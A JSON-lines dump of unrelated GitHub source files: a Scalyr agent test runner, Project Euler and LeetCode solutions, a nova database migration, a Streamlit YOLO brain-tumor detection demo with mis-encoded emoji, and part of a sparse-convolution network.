a hint where to search agent essential paths.\n # This is useful when agent was installed from package,\n # and agent runner needs to know it where files are located.\n self._installation_type = installation_type\n\n self._stopped = False\n\n self._enable_coverage = enable_coverage\n\n self._enable_debug_log = enable_debug_log\n\n # if set, the configuration option - 'disable_send_requests' is set to True\n self._send_to_server = send_to_server\n\n self._init_agent_paths()\n\n self._agent_process = None\n\n self._workers_type = workers_type\n self._worker_sessions_count = workers_session_count\n\n def get_file_path_text(self, path): # type: (Path) -> str\n return str(self._files[six.text_type(path)])\n\n @_path_or_text\n def add_file(self, path): # type: (Path) -> Path\n self._files[six.text_type(path)] = path\n return path\n\n @_path_or_text\n def add_log_file(self, path, attributes=None):\n # type: (Path, Optional[Dict[six.text_type, Any]]) -> Path\n path = self.add_file(path)\n\n if attributes is None:\n attributes = {\"parser\": \"json\"}\n\n path_text = six.text_type(path)\n self._log_files[path_text] = {\"path\": path_text, \"attributes\": attributes}\n\n return path\n\n def _get_default_paths(self): # type: () -> Dict[six.text_type, Path]\n \"\"\"\n Get default path for essential directories and files of the agent. Those paths are fetched from 'PlatformController'.\n \"\"\"\n # create new 'PlatformController' instance. Since this code is executed on the same machine with agent,\n # platform setting and paths should match.\n platform = PlatformController.new_platform()\n # change install type of the controller to needed one.\n platform._install_type = self._installation_type\n\n default_types = platform.default_paths\n\n result = dict()\n for k, v in default_types.__dict__.items():\n result[k] = Path(v)\n\n return result\n\n def _init_agent_paths(self):\n \"\"\"\n Set paths for the essential files and directories.\n \"\"\"\n default_paths = self._get_default_paths()\n\n self._agent_data_dir_path = default_paths[\"agent_data_path\"]\n self.agent_logs_dir_path = default_paths[\"agent_log_path\"]\n\n self._agent_config_path = self.add_file(default_paths[\"config_file_path\"])\n\n self.agent_log_file_path = self.add_file(self.agent_logs_dir_path / \"agent.log\")\n\n self._default_paths = default_paths\n\n def _create_agent_files(self):\n \"\"\"\n Create all essential files and directories and dynamically added files.\n \"\"\"\n _make_or_clear_directory(self._agent_data_dir_path)\n\n _make_or_clear_directory(self.agent_logs_dir_path)\n\n for file_path in self._files.values():\n self._create_file(file_path)\n\n self.write_to_file(\n self._agent_config_path, json.dumps(self._agent_config, indent=4)\n )\n\n def start(self, executable=\"python\"):\n self.clear_agent_logs()\n # important to call this function before agent was started.\n self._create_agent_files()\n\n if self._installation_type == PACKAGE_INSTALL:\n # use service command to start agent, because stop command hands on some of the RHEL based distributions\n # if agent is started differently.\n service_executable = find_executable(\"service\")\n if service_executable:\n cmd = \"%s scalyr-agent-2 --no-fork --no-change-user start\" % (\n service_executable\n )\n else:\n # Special case for CentOS 6 where we need to use absolute path to service command\n cmd = \"/sbin/service scalyr-agent-2 --no-fork --no-change-user start\"\n\n self._agent_process = subprocess.Popen(\n cmd, shell=True, env=compat.os_environ_unicode.copy()\n )\n else:\n base_args = [\n str(_AGENT_MAIN_PATH),\n \"--no-fork\",\n \"--no-change-user\",\n \"start\",\n ]\n\n if self._enable_coverage:\n # NOTE: We need to pass in command string as a single argument to coverage run\n args = [\n executable,\n \"-m\",\n \"coverage\",\n \"run\",\n \"--branch\",\n \"--concurrency=thread\",\n \"--parallel-mode\",\n \" \".join(base_args),\n ]\n else:\n args = [executable] + base_args\n\n # NOTE: Using list would be safer since args are then auto escaped\n cmd = \" \".join(args)\n self._agent_process = subprocess.Popen(\n cmd,\n stdin=subprocess.PIPE,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n shell=True,\n close_fds=True,\n )\n\n print(\"Agent started.\")\n\n # NOTE: We register atexit handler to ensure agent process is always stopped. This means\n # even if a test failure occurs and we don't get a chance to manually call stop() method.\n atexit.register(self.stop)\n\n def status(self):\n if self._installation_type == PACKAGE_INSTALL:\n cmd = \"/usr/sbin/scalyr-agent-2 status -v\"\n else:\n cmd = \"python {0} status -v\".format(_AGENT_MAIN_PATH)\n\n output = compat.subprocess_check_output(cmd=cmd, shell=True)\n output = six.ensure_text(output)\n return output\n\n def status_json(self, parse_json=False):\n # type: (bool) -> Union[six.text_type, dict]\n \"\"\"\n :param parse_json: True to parse result as json and return a dict.\n \"\"\"\n if self._installation_type == PACKAGE_INSTALL:\n cmd = \"/usr/sbin/scalyr-agent-2 status -v --format=json\"\n else:\n cmd = \"python {0} status -v --format=json\".format(_AGENT_MAIN_PATH)\n\n output = compat.subprocess_check_output(cmd=cmd, shell=True)\n output = six.ensure_text(output)\n\n if parse_json:\n return json.loads(output)\n\n return output\n\n def switch_version(self, version, env=None):\n # type: (six.text_type, Optional[dict]) -> None\n \"\"\"\n :param version: Python version to switch the agent to.\n :param env: Environment to use with this command.\n :param clean_env: True to perform the switch in a clean environment without the agent config\n being present and any SCALYR_ environment variables being set.\n \"\"\"\n if env:\n kwargs = {\"env\": env}\n else:\n kwargs = {}\n if self._installation_type == PACKAGE_INSTALL:\n subprocess.check_call(\n \"/usr/sbin/scalyr-agent-2-config --set-python {0}\".format(version),\n shell=True,\n **kwargs # type: ignore\n )\n else:\n subprocess.check_call(\n \"python {0} --set-python {1}\".format(_CONFIG_MAIN_PATH, version),\n shell=True,\n **kwargs # type: ignore\n )\n\n def stop(self, executable=\"python\"):\n if six.PY3:\n atexit.unregister(self.stop)\n\n if self._stopped:\n return\n\n print(\"Stopping agent process...\")\n\n if self._installation_type == PACKAGE_INSTALL:\n service_executable = find_executable(\"service\")\n if service_executable:\n cmd = \"%s scalyr-agent-2 stop\" % (service_executable)\n else:\n # Special case for CentOS 6 where we need to use absolute path to service command\n cmd = \"/sbin/service scalyr-agent-2 stop\"\n\n result = subprocess.check_call(cmd, shell=True)\n\n return result\n\n else:\n process = subprocess.Popen(\n \"{0} {1} stop\".format(executable, _AGENT_MAIN_PATH), shell=True\n )\n\n process.wait()\n self._agent_process.wait()\n\n # Print any output produced by the agent before forking which may not end up in the logs\n if self._agent_process.stdout and self._agent_process.stderr:\n stdout = self._agent_process.stdout.read().decode(\"utf-8\")\n stderr = self._agent_process.stderr.read().decode(\"utf-8\")\n\n if stdout:\n print(\"Agent process stdout: %s\" % (stdout))\n\n if stderr:\n print(\"Agent process stderr: %s\" % (stderr))\n\n if self._enable_coverage:\n # Combine all the coverage files for this process and threads into a single file so\n # we can copy it over.\n print(\"Combining coverage data...\")\n os.system(\"coverage combine\")\n\n print(\"Agent stopped.\")\n self._stopped = True\n\n def restart(self, executable=\"python\"):\n print(\"Restarting agent process...\")\n\n if self._installation_type == PACKAGE_INSTALL:\n service_executable = find_executable(\"service\")\n if service_executable:\n cmd = \"%s scalyr-agent-2 restart\" % (service_executable)\n else:\n # Special case for CentOS 6 where we need to use absolute path to service command\n cmd = \"/sbin/service scalyr-agent-2 restart\"\n\n result = subprocess.check_call(cmd, shell=True)\n\n return result\n\n else:\n process = subprocess.Popen(\n \"{0} {1} restart\".format(executable, _AGENT_MAIN_PATH), shell=True\n )\n\n process.wait()\n self._agent_process.wait()\n\n print(\"Agent process restarted.\")\n\n @property\n def agent_pid(self):\n path = self.agent_logs_dir_path / \"agent.pid\"\n with open(six.text_type(path), \"r\") as f:\n return int(f.read())\n\n def __del__(self):\n self.stop()\n\n @property\n def _server_host(self): # type: () -> six.text_type\n return get_env(\"AGENT_HOST_NAME\")\n\n @property\n def _agent_config(self):\n # type: () -> Dict[six.text_type, Any]\n \"\"\"\n Build and return agent configuration.\n :return: dict with configuration.\n \"\"\"\n\n # do not include default log files.\n files_to_exclude_from_config = [\n str(Path(self.agent_logs_dir_path, name)) # type:ignore\n for name in [\n \"linux_process_metrics.log\",\n \"linux_system_metrics.log\",\n \"agent.log\",\n ]\n ]\n config_log_files = list()\n for log_file in self._log_files.values():\n if log_file[\"path\"] not in files_to_exclude_from_config:\n config_log_files.append(log_file)\n\n config = {\n \"api_key\": compat.os_environ_unicode[\"SCALYR_API_KEY\"],\n \"verify_server_certificate\": \"false\",\n \"server_attributes\": {\"serverHost\": self._server_host},\n \"logs\": config_log_files,\n \"default_sessions_per_worker\": self._worker_sessions_count,\n \"monitors\": [],\n \"use_multiprocess_workers\": self._workers_type == \"process\",\n # NOTE: We disable this functionality so tests finish faster and we can use lower\n # timeout\n \"global_monitor_sample_interval_enable_jitter\": False,\n }\n\n if self._enable_debug_log:\n # NOTE: We also enable copy_from_start if debug_level is enabled to we ship whole debug\n # log to scalyr\n config[\"debug_level\"] = 5\n config[\"logs\"].append({\"path\": \"agent_debug.log\"}) # type: ignore\n\n if not self._send_to_server:\n # do not send requests to server.\n config[\"disable_send_requests\"] = True\n\n # Print out the agent config (masking the secrets) to make troubleshooting easier\n config_sanitized = copy.copy(config)\n config_sanitized.pop(\"api_key\", None)\n\n print(\"Using agent config: %s\" % (pprint.pformat(config_sanitized)))\n\n return config\n\n @property\n def config_object(self): # type: () -> Configuration\n \"\"\"\n Get config object from the config file.\n \"\"\"\n platform = PlatformController.new_platform()\n platform._install_type = self._installation_type\n default_types = platform.default_paths\n\n config = Configuration(\n six.text_type(self._agent_config_path), default_types, None\n )\n config.parse()\n return config\n\n @staticmethod\n def _create_file(path, content=None):\n # type: (Path, Optional[Any[six.text_type, six.binary_type]]) -> None\n \"\"\"\n Add new file to runner's data directory.\n :param path: path to new file, it is relative to runner's data directory path.\n :param content: if set, write its data to file.\n :return:\n \"\"\"\n\n if path.exists():\n os.remove(six.text_type(path))\n if not path.parent.exists():\n path.parent.mkdir(parents=True, exist_ok=True)\n if not path.exists():\n path.touch()\n\n if content:\n if isinstance(content, six.text_type):\n path.write_text(content)\n else:\n path.write_bytes(content)\n\n @staticmethod\n def read_file_content(path): # type: (Path) -> six.text_type\n return path.read_text()\n\n def write_to_file(self, path, data):\n # type: (Path, six.text_type) -> None\n \"\"\"\n Write data to the file located in 'path'\n \"\"\"\n data = six.ensure_text(data)\n with path.open(\"a\") as f:\n f.write(data)\n f.flush()\n\n def write_line(self, path, data):\n # type: (Path, six.text_type) -> None\n data = six.ensure_text(data)\n data = \"{0}\\n\".format(data)\n self.write_to_file(path, data)\n\n def clear_agent_logs(self):\n \"\"\"Clear agent logs directory.\"\"\"\n if self.agent_logs_dir_path.exists():\n for child in self.agent_logs_dir_path.iterdir():\n if child.is_file():\n child.unlink()\n\n @property\n def config(self):\n # type: () -> Dict\n \"\"\"\n Read config file and return as dict\n \"\"\"\n\n return json.loads(self._agent_config_path.read_text()) # type: ignore\n\n def write_config(self, config):\n # type: (Dict) -> None\n \"\"\"\n Write new data to the config.\n \"\"\"\n self._agent_config_path.write_text(six.text_type(json.dumps(config))) # type: ignore\n\n @property\n def worker_type(self):\n return self._workers_type\n\n @property\n def worker_session_ids(self):\n \"\"\"\n Return ids of all running worker sessions.\n \"\"\"\n status = json.loads(self.status_json()) # type: ignore\n ids = []\n for worker in status[\"copying_manager_status\"][\"workers\"]:\n for worker_session in worker[\"sessions\"]:\n ids.append(worker_session[\"session_id\"])\n\n return ids\n\n @property\n def worker_sessions_log_paths(self):\n \"\"\"Get list of log file path for all worker sessions.\"\"\"\n result = []\n for worker_session_id in self.config_object.get_session_ids_from_all_workers():\n log_file_path = self.config_object.get_worker_session_agent_log_path(\n worker_session_id\n )\n result.append(Path(log_file_path))\n\n return result\n","repo_name":"scalyr/scalyr-agent-2","sub_path":"tests/utils/agent_runner.py","file_name":"agent_runner.py","file_ext":"py","file_size_in_byte":18229,"program_lang":"python","lang":"en","doc_type":"code","stars":68,"dataset":"github-code","pt":"48"} +{"seq_id":"19988124171","text":"\r\ndef Arranges(base):\r\n def ArrangeInc(l):\r\n c = 1\r\n for j in range(len(l)):\r\n idx, thd = -1-j, j+1\r\n l[idx] += c; c = 0\r\n if l[idx] >= thd:\r\n l[idx] -= thd; c = 1\r\n if c == 0:\r\n break\r\n return c\r\n def SwitchElemsLitera(l, base):\r\n base = list(base)\r\n return [base.pop(d) for d in l]\r\n base = list(base)\r\n l = [0] * len(base)\r\n c = 0\r\n while not c:\r\n yield SwitchElemsLitera(l, base)\r\n c = ArrangeInc(l)\r\n\r\ndef cmbint(l):\r\n r = 0\r\n for d in l:\r\n r = r * 10 + d\r\n return r\r\n\r\ns = set()\r\nfor l in Arranges(range(1, 10)):\r\n a, b, c = l[0], cmbint(l[1:5]), cmbint(l[5:9])\r\n if a * b == c:\r\n print(a, '*', b, '=', c)\r\n s.add(c)\r\n a, b, c = cmbint(l[0:2]), cmbint(l[2:5]), cmbint(l[5:9])\r\n if a * b == c:\r\n print(a, '*', b, '=', c)\r\n s.add(c)\r\nprint(sum(s))\r\n\r\n","repo_name":"Jin-W-FS/solve-project-euler","sub_path":"0032.py","file_name":"0032.py","file_ext":"py","file_size_in_byte":952,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"26088713239","text":"class Solution:\n def maxProfit(self, prices: List[int]) -> int:\n left_profit = [0 for i in range(len(prices))]\n buy_price = prices[0]\n left_max_profit = 0\n for idx in range(1, len(prices)):\n price = prices[idx]\n if price < buy_price:\n buy_price = price\n left_max_profit = max(left_max_profit, price-buy_price)\n left_profit[idx] = left_max_profit\n right_max_profit = 0\n sell_price = prices[-1]\n result = 0\n \n for idx in range(len(prices)-2, -1, -1):\n price = prices[idx]\n if price > sell_price:\n sell_price = price\n right_max_profit = max(right_max_profit, sell_price-price)\n result = max(result, right_max_profit+left_profit[idx])\n return result","repo_name":"finderkiller/LeetCode","sub_path":"123BestTimetoBuyandSellStockIII.py","file_name":"123BestTimetoBuyandSellStockIII.py","file_ext":"py","file_size_in_byte":836,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"28560952427","text":"# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nfrom sqlalchemy import MetaData, Table, func, select\nfrom sqlalchemy.sql import and_\n\nfrom nova import exception\nfrom nova.i18n import _\n\n\ndef upgrade(migrate_engine):\n meta = MetaData(migrate_engine)\n instances = Table('instances', meta, autoload=True)\n sysmeta = Table('instance_system_metadata', meta, autoload=True)\n count = select([func.count()]).select_from(sysmeta).where(\n and_(instances.c.uuid == sysmeta.c.instance_uuid,\n sysmeta.c.key == 'instance_type_id',\n sysmeta.c.deleted != sysmeta.c.id,\n instances.c.deleted != instances.c.id)).execute().scalar()\n if count > 0:\n msg = _('There are still %(count)i unmigrated flavor records. '\n 'Migration cannot continue until all instance flavor '\n 'records have been migrated to the new format. Please run '\n '`nova-manage db migrate_flavor_data\\' first.') % {\n 'count': count}\n raise exception.ValidationError(detail=msg)\n","repo_name":"BU-NU-CLOUD-SP16/Trusted-Platform-Module-nova","sub_path":"nova/db/sqlalchemy/migrate_repo/versions/291_enforce_flavors_migrated.py","file_name":"291_enforce_flavors_migrated.py","file_ext":"py","file_size_in_byte":1586,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"48"} +{"seq_id":"33840663844","text":"\nimport torch\nimport streamlit as st\nimport av\nfrom PIL import Image\nfrom torchvision import transforms\nfrom ultralytics.yolo.engine.model import YOLO #import YOLO algorithm from ultralyrics\nimport os\nimport glob\nfrom streamlit_webrtc import webrtc_streamer, WebRtcMode, RTCConfiguration\n\nst.set_page_config(page_title=\"Brain-Tumor\", page_icon=\"­ЪДа\")\n\n# Add CSS styles to the footer section\n# Add content to the footer section\nfooter_style = \"\"\"\n\n\"\"\"\n\n# Apply the CSS styles\nst.markdown(footer_style, unsafe_allow_html=True)\nmodel = YOLO(\"runs/detect/brain_tumor_custom_#42/weights/best.pt\") #Load your trained model\n\n#logo = Image.open('brain-tumor-100.png')\n\nwith st.sidebar:\n #st.image(logo)\n st.title(\"Brain Tumor Detection\")\n \n option = st.radio(\"Brain tumor detection\", [\"Upload\", \"Real-time Detection\"])\n \n st.info(\"This application allows you to detect brain tumors using Machine Learning\")\n \n\nif option == \"Upload\":\n \n\n st.title(\"\\n\\n\")\n\n st.title(\"Brain Tumor detection with YOLO v8!\")\n file = st.file_uploader(\"Upload your image to detect Brain Tumor!\", type=[\"png\",\"jpg\", \"jpeg\"])\n class_btn = st.button(\"Predict Disease\")\n if file is not None: \n imgs = Image.open(file)\n st.image(imgs, caption='Uploaded Image', use_column_width=True)\n # im2 = cv2.imread(file)\n if class_btn:\n if file is None:\n st.write(\"Invalid command, please upload an image\")\n else:\n with st.spinner('Model working.... please wait!'):\n \n # model = YOLO(\"runs/detect/brain_tumor_custom_#1/weights/best.pt\")\n\n # results = model.predict(source=imgs, save=True, save_txt=True)\n with torch.no_grad():\n res = model.predict(imgs)\n boxes = res[0].boxes\n res_plotted = res[0].plot()[:, :, ::-1]\n st.image(res_plotted, caption='Detected Image', width=None)\n \n for r in res:\n for c in r.boxes.cls:\n print(model.names[int(c)])\n\n if model.names[int(c)] == 'brain_tumor':\n st.error(\"Brain Tumor detection, seek immediate health care\", icon=\"­Ъџе\")\n # if model.names[int(c)] == ' ':\n #st.write(model.names[int(c)])\n \n \n st.markdown(\"####\")\n st.markdown(\"\"\"---\"\"\")\n st.markdown(\"####\") \n st.subheader(\"No detection / Wrong Detections?\") \n st.info(\"­ЪџФ­ЪћЇ No detection? ­Ъцћ Did you upload an image from the sample MRI scan? Check out the sample MRI scan images here: ­ЪћЌ(https://drive.google.com/drive/folders/1ageaw9allQgRimCv3xNM5WaErQfg9lbI?usp=drive_link). If it's a brain tumor image and I couldn't detect it, fear not! ­ЪЎї My developer, Christian Kusi, is working tirelessly to enhance my intelligence and make me even smarter. ­ЪДа­Ъњф Remember, this is just the first version of my training. ­ЪјЊ I'm on a mission to dive deeper and learn more to improve my detection capabilities. Together, we're pushing the boundaries of brain tumor detection! ­ЪїЪ­ЪњЎ Stay tuned for updates and exciting advancements in my journey! Let's make a difference in the fight against brain tumors. ­ЪјЅ­Ъџђ#NoDetection #SampleMRIScan #BrainTumorDetection #MakingADifference #IntelligentAI #LearningJourney ­ЪџФ­ЪћЇ­Ъћг­ЪДа\")\n\n\n #st.snow()\n #st.balloons()\n\n # st.write(\"seek medical care!: \")\n # Set the path to the directory containing the predictions\n # --predictions_dir = \"runs/detect/predict*/\"\n\n # Get a list of all the prediction files in the directory\n # --prediction_files = glob.glob(os.path.join(predictions_dir, \"*.jpg\"))\n # --print(prediction_files)\n\n # Get the most recent prediction file\n # --most_recent_prediction = max(prediction_files, key=os.path.getctime)\n\n \n\n # Load the most recent prediction image using PIL\n # --prediction_image = Image.open(most_recent_prediction)\n # --prediction_image = prediction_image.resize((340,340))\n\n # Display the most recent prediction image in Streamlit\n # --st.image(prediction_image, caption=\"Most recent prediction\")\n # --st.error(\"Brain Tumor detection, seek immediate health care\", icon=\"­Ъџе\")\n\n \n# if option == \"Real-time Detection\":\n# # st.title(\"Real-time Brain Tumor detection\")\n# # st.write(\"activate camera to detect some tumors...\")\n\n# def callback(frame):\n# img = frame.to_ndarray(format=\"bgr24\")\n# #model.predict(source=img, save=True, save_txt=True)\n\n# #def callback(frame):\n# #img = frame.to_ndarray(format=\"bgr24\")\n# #model.predict(source=img, save=True, save_txt=True)\n\n# with torch.no_grad():\n# res = model.predict(img)\n# boxes = res[0].boxes\n# res_plotted = res[0].plot()[:, :, ::-1]\n# st.image(res_plotted, caption='Detected Image', width=None)\n \n# for r in res:\n# for c in r.boxes.cls:\n# print(model.names[int(c)])\n\n# if model.names[int(c)] == 'brain_tumor':\n# st.error(\"Brain Tumor detection, seek immediate health care\", icon=\"­Ъџе\")\n# return av.VideoFrame.from_ndarray(img, format=\"bgr24\")\n\n\n\n# webrtc_streamer(key=\"example\", video_frame_callback=callback, rtc_configuration={ # Add this line\n# \"iceServers\": [{\"urls\": [\"stun:stun.l.google.com:19302\"]}]})\n\n# st.markdown(\"####\")\n# st.markdown(\"\"\"---\"\"\")\n# st.markdown(\"####\") \n# st.subheader(\"No detection / Wrong Detections?\") \n# st.info(\"No detection?, Did you upload an image from the sample MRI scan? https://drive.google.com/drive/folders/1ageaw9allQgRimCv3xNM5WaErQfg9lbI?usp=drive_link, if its a brain tumor image, and i am not able to detect, my developer Christian Kusi is working hard to make me more intelligent and very smart Just know this is the first version i am being trained to learn deeper... -brain-B ­ЪДа\")\n\n\n\nif option == \"Real-time Detection\":\n st.title(\"Real-time Brain Tumor detection\")\n st.subheader(\"Real Time Detection Coming Soon...\")\n\n# def callback(frame):\n# img = frame.to_ndarray(format=\"bgr24\")\n# model.predict(source=img, save=True, save_txt=True)\n \n \n \n# st.success('Success!, brain tumor detected', icon=\"РюЁ\")\n# #st.snow()\n# #st.balloons()\n\n# # st.write(\"seek medical care!: \")\n\n# # Set the path to the directory containing the predictions\n# predictions_dirs = \"runs/detect/predict*/\"\n\n# # Get a list of all the prediction files in the directory\n# prediction_files_1 = glob.glob(os.path.join(predictions_dirs, \"*.jpg\"))\n# # print(prediction_files)\n\n# # Get the most recent prediction file\n# most_recent_predictions = max(prediction_files_1, key=os.path.getctime)\n\n# # Load the most recent prediction image using PIL\n# prediction_images = Image.open(most_recent_predictions)\n\n# # Display the most recent prediction image in Streamlit\n# st.image(prediction_images, caption=\"Most recent prediction\")\n# st.error(\"Brain Tumor detection, seek immediate health care\", icon=\"­Ъџе\")\n\n \n# return av.VideoFrame.from_ndarray(img, format=\"bgr24\")\n\n\n\n# webrtc_streamer(key=\"example\", video_frame_callback=callback, rtc_configuration={ # Add this line\n# \"iceServers\": [{\"urls\": [\"stun:stun.l.google.com:19302\"]}]})\n \n\n\n\n \n","repo_name":"ChrisKusi/Brain_Tumors_Detection","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":8495,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"4544226165","text":"import torch\nimport torch.nn as nn\n\nimport spconv.pytorch as spconv\nfrom spconv.core import ConvAlgo\nfrom timm.models.layers import trunc_normal_\n\n\nclass SpatialGroupConv(spconv.SparseModule):\n def __init__(self, in_channels, out_channels, kernel_size, stride=1, padding=1, indice_key=None, bias=False, _type='A'):\n super(SpatialGroupConv, self).__init__()\n self.kernel_size = kernel_size\n self.indice_key = indice_key\n self.in_channels = in_channels\n self.out_channels = out_channels\n\n self.block = spconv.SubMConv3d(\n in_channels,\n out_channels,\n kernel_size=kernel_size,\n stride=stride,\n padding=int(kernel_size//2),\n bias=bias,\n indice_key=indice_key,\n #algo=ConvAlgo.Native\n )\n\n self.conv3x3_1 = spconv.SubMConv3d(\n in_channels,\n out_channels,\n kernel_size=3,\n stride=stride,\n padding=1,\n bias=bias,\n dilation=3,\n indice_key=indice_key+'conv_3x3_1',\n #algo=ConvAlgo.Native\n )\n\n self._indice_list = []\n\n if kernel_size==7:\n _list = [0, 3, 4, 7]\n elif kernel_size==5:\n _list = [0, 2, 3, 5]\n elif kernel_size==3:\n _list = [0, 1, 2]\n else:\n raise ValueError('Unknown kernel size %d'%kernel_size)\n for i in range(len(_list)-1):\n for j in range(len(_list)-1):\n for k in range(len(_list)-1):\n a = torch.zeros((kernel_size, kernel_size, kernel_size)).long()\n a[_list[i]:_list[i+1], _list[j]:_list[j+1], _list[k]:_list[k+1]] = 1\n b = torch.range(0, kernel_size**3-1, 1)[a.reshape(-1).bool()]\n self._indice_list.append(b.long())\n\n def _convert_weight(self, weight):\n weight_reshape = self.block.weight.permute(3, 4, 0, 1, 2).reshape(self.out_channels, self.in_channels, -1).clone()\n weight_return = self.block.weight.permute(3, 4, 0, 1, 2).reshape(self.out_channels, self.in_channels, -1).clone()\n for _indice in self._indice_list:\n _mean_weight = torch.mean(weight_reshape[:, :, _indice], dim=-1, keepdim=True)\n weight_return[:, :, _indice] = _mean_weight\n return weight_return.reshape(self.out_channels, self.in_channels, self.kernel_size, self.kernel_size, self.kernel_size).permute(2, 3, 4, 0, 1)\n\n def forward(self, x_conv):\n if self.training:\n self.block.weight.data = self._convert_weight(self.block.weight.data).contiguous()\n x_conv_block = self.block(x_conv)\n\n x_conv_conv3x3_1 = self.conv3x3_1(x_conv)\n\n x_conv_block = x_conv_block.replace_feature(x_conv_block.features + x_conv_conv3x3_1.features)\n return x_conv_block\n\n\nclass SpatialGroupConvV2(spconv.SparseModule):\n def __init__(self, in_channels, out_channels, kernel_size, stride=1, padding=1, indice_key=None, bias=False, dilation=1, _type='A'):\n super(SpatialGroupConvV2, self).__init__()\n self.kernel_size = kernel_size\n self.indice_key = indice_key\n self.in_channels = in_channels\n self.out_channels = out_channels\n\n if kernel_size==3:\n kernel_size = 7\n _list = [0, int(kernel_size//2), int(kernel_size//2)+1, 7]\n self.group_map = torch.zeros((3**3, int(kernel_size//2)**3)) - 1\n _num = 0\n for i in range(len(_list)-1):\n for j in range(len(_list)-1):\n for k in range(len(_list)-1):\n a = torch.zeros((kernel_size, kernel_size, kernel_size)).long()\n a[_list[i]:_list[i+1], _list[j]:_list[j+1], _list[k]:_list[k+1]] = 1\n _pos = a.sum()\n self.group_map[_num][:_pos] = torch.range(0, kernel_size**3-1, 1)[a.reshape(-1).bool()]\n _num += 1\n self.group_map = self.group_map.int()\n position_embedding = True\n self.block = spconv.SpatialGroupConv3d(\n in_channels,\n out_channels,\n kernel_size, 3,\n stride=stride,\n padding=int(kernel_size//2),\n bias=bias,\n dilation=dilation,\n indice_key=indice_key,\n algo=ConvAlgo.Native,\n position_embedding=position_embedding,\n )\n if position_embedding:\n trunc_normal_(self.block.position_embedding, std=0.02)\n\n def forward(self, x_conv):\n x_conv = self.block(x_conv, group_map=self.group_map.to(x_conv.features.device))\n return x_conv\n\n\nclass BasicBlock(nn.Module):\n expansion = 1\n\n def __init__(self,\n inplanes,\n planes,\n kernel_size=3,\n stride=1,\n dilation=1,\n downsample=None,\n norm_func=nn.BatchNorm1d,\n act_func=nn.ReLU,\n bn_momentum=0.1,\n dimension=-1,\n conv_type=\"common\",\n indice_key=''):\n super(BasicBlock, self).__init__()\n assert dimension > 0\n\n if conv_type==\"spatialgroupconv\":\n conv_func = SpatialGroupConv\n elif conv_type == 'spatialgroupconvv2':\n conv_func = SpatialGroupConvV2\n elif conv_type =='common':\n conv_func = spconv.SubMConv3d\n else:\n raise ValueError('Unknown conv_type %s.' % conv_type)\n\n self.conv1 = conv_func(inplanes, planes, kernel_size=kernel_size[0], stride=stride,\n padding=int(kernel_size[0]//2), bias=False, indice_key=indice_key+'conv1')\n self.norm1 = norm_func(planes, momentum=bn_momentum) if norm_func == nn.BatchNorm1d else norm_func(planes)\n self.conv2 = conv_func(planes, planes, kernel_size=kernel_size[1], stride=1,\n padding=int(kernel_size[1]//2), bias=False, indice_key=indice_key+'conv2')\n self.norm2 = norm_func(planes, momentum=bn_momentum) if norm_func == nn.BatchNorm1d else norm_func(planes)\n self.relu = act_func()\n\n self.downsample = downsample\n\n def forward(self, x):\n residual = x\n\n out = self.conv1(x)\n out = out.replace_feature(self.norm1(out.features))\n out = out.replace_feature(self.relu(out.features))\n\n out = self.conv2(out)\n out = out.replace_feature(self.norm2(out.features))\n\n if self.downsample is not None:\n residual = self.downsample(x)\n\n out = out.replace_feature(out.features + residual.features)\n out = out.replace_feature(self.relu(out.features))\n\n return out\n\n\nclass MinkUNetBaseSpconv(nn.Module):\n BLOCK = None\n PLANES = None\n KERNEL_SIZES = (3, 3, 3, 3, 3, 3, 3, 3)\n DILATIONS = (1, 1, 1, 1, 1, 1, 1, 1)\n LAYERS = (2, 2, 2, 2, 2, 2, 2, 2)\n PLANES = (32, 64, 128, 256, 256, 128, 96, 96)\n INIT_DIM = 32\n OUT_TENSOR_STRIDE = 1\n CONCATEXYZ = False\n VIRTUAL_VOXELS = False\n NORM_FUNC = nn.BatchNorm1d\n ACT_FUNC = nn.ReLU\n CONV_TYPE = ('common', 'common', 'common', 'common',\n 'common', 'common', 'common', 'common')\n\n def __init__(self, in_channels, out_channels, D=3):\n nn.Module.__init__(self)\n self.D = D\n assert self.BLOCK is not None\n\n self.network_initialization(in_channels, out_channels, D)\n self.weight_initialization()\n\n def weight_initialization(self):\n for m in self.modules():\n if isinstance(m, self.NORM_FUNC):\n nn.init.constant_(m.weight, 1)\n nn.init.constant_(m.bias, 0)\n \n def _make_layer(self, block, planes, blocks, kernel_size=3, stride=1, dilation=1, bn_momentum=0.1,\n indice_key='', conv_type='common', norm_func=nn.BatchNorm1d, act_func=nn.ReLU):\n downsample = None\n if stride != 1 or self.inplanes != planes * block.expansion:\n downsample = spconv.SparseSequential(\n spconv.SubMConv3d(self.inplanes, planes * block.expansion, kernel_size=1, stride=stride,\n bias=False, indice_key=indice_key+'downsample'),\n norm_func(planes * block.expansion, momentum=bn_momentum) if norm_func == nn.BatchNorm1d else norm_func(planes * block.expansion)\n )\n layers = []\n layers.append(\n block(\n self.inplanes,\n planes,\n kernel_size=kernel_size,\n stride=stride,\n dilation=dilation,\n downsample=downsample,\n dimension=self.D,\n conv_type=conv_type,\n norm_func=norm_func,\n act_func=act_func,\n indice_key=indice_key\n )\n )\n self.inplanes = planes * block.expansion\n for i in range(1, blocks):\n layers.append(\n block(\n self.inplanes, planes, kernel_size=kernel_size, stride=1, dilation=dilation, dimension=self.D,\n conv_type=conv_type, norm_func=norm_func, act_func=act_func, indice_key=indice_key + str(i)\n )\n )\n return nn.Sequential(*layers)\n\n def network_initialization(self, in_channels, out_channels, D):\n # Output of the first conv concated to conv6\n self.inplanes = self.INIT_DIM\n self.conv0p1s1 = spconv.SubMConv3d(in_channels, self.inplanes, kernel_size=5, stride=1,\n padding=2, bias=False, indice_key='conv0p1s1')\n\n self.bn0 = 